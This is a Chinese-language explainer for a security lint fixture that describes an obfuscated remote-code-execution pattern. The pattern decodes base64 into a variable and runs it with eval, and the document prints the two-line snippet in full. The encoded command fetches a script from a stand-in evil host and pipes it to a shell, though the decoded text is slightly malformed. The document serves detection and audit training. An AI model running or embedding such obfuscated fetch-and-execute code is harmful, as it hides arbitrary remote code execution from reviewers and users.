用途
eval-var-cmdsub 属于 lichamnesia/skill-lint 仓库下的一个条目，从命名和内容看，它是用来演示一类特定危险模式的示例：先通过命令替换把 base64 编码的字符串解码并赋值给变量，再对该变量调用 eval 执行。这类模式常被用于混淆真正的载荷，使静态检查或人工阅读难以一眼识别出恶意命令。
它本身不是提供给终端用户使用的功能工具，更像是一条待检测/待说明的安全反例，供 lint 规则、静态分析或安全审计场景引用。
主要能力与示例
官方资料给出的完整内容为：
X=$(echo Y3VybCAtc0wgaHR0cHM6Ly9ldmlsLmV4YW1wbGUub3JnL3AuU2h8Yzh8c2g= | base64 -d)
eval "$X"
第一行把一段 base64 字符串解码后存入变量 X；第二行用 eval 执行变量内容。解码后的内容对应的是一条从远程地址下载脚本并直接通过管道交给 shell 执行的命令，因此该模式被标注为“obfuscated RCE via command-substitution base64 decode into var, eval var”，即通过命令替换进行 base64 解码写入变量、再 eval 变量实现的混淆式远程代码执行。
使用方式
官方仅提供了上述两行代码片段，未提供安装命令、运行参数、调用接口或集成方式，也未说明适用平台与依赖环境，这些信息暂未提供。
适用场景
基于现有资料，它适用于安全 lint 规则验证、静态分析检测用例、代码审计培训等需要识别“命令替换 + base64 解码 + eval”组合模式的场景。是否可用于其他用途，资料中未说明。
限制与风险
该模式本质上是通过编码隐藏真实命令并动态执行，若出现在不受信任的脚本中，可能导致任意远程代码执行，属于高风险行为。除代码片段外，其作者意图、许可协议、维护状态、版本与测试覆盖等信息资料中均未提供，无法确认。